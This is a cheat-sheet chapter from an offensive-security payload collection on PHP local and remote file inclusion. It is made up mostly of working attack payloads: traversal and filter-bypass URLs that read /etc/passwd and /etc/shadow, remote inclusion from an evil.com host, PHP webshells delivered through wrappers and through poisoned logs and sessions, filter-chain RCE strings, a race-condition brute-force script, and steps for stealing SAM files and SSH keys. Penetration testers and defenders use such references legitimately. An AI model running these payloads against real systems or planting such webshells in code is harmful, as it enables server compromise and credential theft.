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README.md |
File Inclusion
A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
File Inclusion Vulnerability should be differentiated from Path Traversal. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Summary
- Tools
- Local File Inclusion
- Remote File Inclusion
- LFI / RFI using wrappers
- LFI to RCE via /proc/*/fd
- LFI to RCE via /proc/self/environ
- LFI to RCE via iconv
- LFI to RCE via upload
- LFI to RCE via upload (race)
- LFI to RCE via upload (FindFirstFile)
- LFI to RCE via phpinfo()
- LFI to RCE via controlled log file
- LFI to RCE via PHP sessions
- LFI to RCE via PHP PEARCMD
- LFI to RCE via credentials files
- References
Tools
- P0cL4bs/Kadimus (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
- D35m0nd142/LFISuite - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
- kurobeats/fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
- lightos/Panoptic - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
- hansmach1ne/LFImap - Local File Inclusion discovery and exploitation tool
Local File Inclusion
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the page
parameter to include local or remote files, leading to unauthorized access or code execution.
<?php
$file = $_GET['page'];
include($file);
?>
In the following examples we include the /etc/passwd
file, check the Directory & Path Traversal
chapter for more interesting files.
http://example.com/index.php?page=../../../etc/passwd
Null byte
⚠️ In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path and dot truncation
On most PHP installations a filename longer than 4096
bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Remote File Inclusion
Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
Remote File Inclusion doesn't work anymore on a default configuration since allow_url_include
is now disabled since PHP5.
allow_url_include = On
Most of the filter bypasses from LFI section can be reused for RFI.
http://example.com/index.php?page=http://evil.com/shell.txt
Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
Bypass allow_url_include
When allow_url_include
and allow_url_fopen
are set to Off
. It is still possible to include a remote file on Windows box using the smb
protocol.
- Create a share open to everyone
- Write a PHP code inside a file :
shell.php
- Include it
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
LFI / RFI using wrappers
Wrapper php://filter
The part "php://filter
" is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Wrappers can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
NOTE: Wrappers can be chained multiple times using |
or /
:
- Multiple base64 decodes:
php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
- deflate then
base64encode
(useful for limited character exfil):php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
Also there is a way to turn the php://filter
into a full RCE.
- synacktiv/php_filter_chain_generator - A CLI to generate PHP filters chain
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>' [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
- LFI2RCE.py to generate a custom payload.
# vulnerable file: index.php # vulnerable parameter: file # executed command: id # executed PHP code: <?=`$_GET[0]`;;?> curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
Wrapper data://
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Wrapper expect://
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple curl
command.
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
Alternatively, Kadimus has a module to automate this attack.
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
Wrapper zip://
- Create an evil payload:
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
- Zip the file
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
- Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper phar://
PHAR archive structure
PHAR files work like ZIP files, when you can use the phar://
to access files stored inside them.
- Create a phar archive containing a backdoor file:
php --define phar.readonly=0 archive.php
<?php
$phar = new Phar('archive.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
- Use the
phar://
wrapper:curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt
PHAR deserialization
⚠️ This technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the phar://
wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include
, file_get_contents
, file_put_contents
, copy
, file_exists
, is_executable
, is_file
, is_dir
, is_link
, is_writable
, fileperms
, fileinode
, filesize
, fileowner
, filegroup
, fileatime
, filemtime
, filectime
, filetype
, getimagesize
, exif_read_data
, stat
, lstat
, touch
, md5_file
, etc.
This exploit requires at least one class with magic methods such as __destruct()
or __wakeup()
.
Let's take this AnyClass
class as example, which execute the parameter data.
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
We can craft a phar archive containing a serialized object in its meta-data.
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Finally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar
NOTE: you can use the $phar->setStub()
to add the magic bytes of JPG file: \xff\xd8\xff
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
Wrapper convert.iconv:// and dechunk://
Leak file content from error-based oracle
convert.iconv://
: convert input into another folder (convert.iconv.utf-16le.utf-8
)dechunk://
: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTF writeup.
Requirements:
- Backend must not use
file_exists
oris_file
. - Vulnerable parameter should be in a
POST
request.- You can't leak more than 135 characters in a GET request due to the size limit
The exploit chain is based on PHP filters: iconv
and dechunk
:
- Use the
iconv
filter with an encoding increasing the data size exponentially to trigger a memory error. - Use the
dechunk
filter to determine the first character of the file, based on the previous error. - Use the
iconv
filter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using synacktiv/php_filter_chains_oracle_exploit, the script will use either the HTTP status code: 500
or the time as an error-based oracle to determine the character.
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
Leak file content inside a custom format output
- ambionics/wrapwrap - Generates a
php://filter
chain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: {"message":"<file contents>"}
.
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
This can be used against vulnerable code like the following.
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
LFI to RCE via /proc/*/fd
- Upload a lot of shells (for example : 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
LFI to RCE via iconv
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from /proc/self/maps
and to download the glibc binary. Finally you get the RCE by exploiting the zend_mm_heap
structure to call a free()
that have been remapped to system
using custom_heap._free
.
Requirements:
- PHP 7.0.0 (2015) to 8.3.7 (2024)
- GNU C Library (
glibc
) <= 2.39 - Access to
convert.iconv
,zlib.inflate
,dechunk
filters
Exploit:
LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
LFI to RCE via upload (race)
- Upload a file and trigger a self-inclusion.
- Repeat the upload a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
LFI to RCE via upload (FindFirstFile)
⚠️ Only works on Windows
FindFirstFile
allows using masks (<<
as *
and >
as ?
) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
*
/<<
: Represents any sequence of characters.?
/>
: Represents any single character.
Upload a file, it should be stored in the temp folder C:\Windows\Temp\
with a generated name like php[A-F0-9]{4}.tmp
.
Then either bruteforce the 65536 filenames or use a wildcard character like: http://site/vuln.php?inc=c:\windows\temp\php<<
LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.
By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script phpInfoLFI.py
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
RCE via SSH
Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>
.
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
Then include the SSH log files inside the Web Application.
http://example.com/index.php?page=/var/log/auth.log&cmd=id
RCE via Mail
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail
.
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
In some cases you can also send the email with the mail
command line.
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
RCE via Apache logs
Poison the User-Agent in access logs:
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
LFI to RCE via PHP PEARCMD
PEAR is a framework and distribution system for reusable PHP components. By default pearcmd.php
is installed in every Docker PHP image from hub.docker.com in /usr/local/lib/php/pearcmd.php
.
The file pearcmd.php
uses $_SERVER['argv']
to get its arguments. The directive register_argc_argv
must be set to On
in PHP configuration (php.ini
) for this attack to work.
register_argc_argv = On
There are this ways to exploit it.
-
Method 1: config create
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
-
Method 2: man_dir
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+ /vuln.php?file=/tmp/exec.php&c=id
The created configuration file contains the webshell.
#PEAR_Config 0.9 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
-
Method 3: download (need external network connection).
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php /vuln.php?file=exec.php&c=id
-
Method 4: install (need external network connection). Notice that
exec.php
locates at/tmp/pear/download/exec.php
./vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php /vuln.php?file=/tmp/pear/download/exec.php&c=id
LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
Windows version
First extract sam
and system
files.
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt
, and crack them with hashcat/john
or replay them using the Pass The Hash technique.
Linux version
First extract /etc/shadow
files.
http://example.com/index.php?page=../../../../../../etc/shadow
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
If SSH is active check which user is being used /proc/self/status
and /etc/passwd
and try to access /<HOME>/.ssh/id_rsa
.
References
- Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021
- CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018
- Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018
- Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12
- Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024
- Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023
- Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris
- It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - Aug 10, 2018
- LFI Cheat Sheet - @Arr0way - 24 Apr 2016
- LFI2RCE via PHP Filters - HackTricks - 19/07/2024
- Local file inclusion tricks - Johan Adriaans - August 4, 2007
- New PHP Exploitation Technique - Dr. Johannes Dahse - 14 Aug 2018
- OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 14 June 2024
- One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin - Feb 20, 2023
- PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023
- PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022
- PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011
- PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021
- Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - Dec 30, 2021
- Testing for Local File Inclusion - OWASP - 25 June 2017
- Turning LFI into RFI - Grayson Christopher - 2017-08-14
- Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017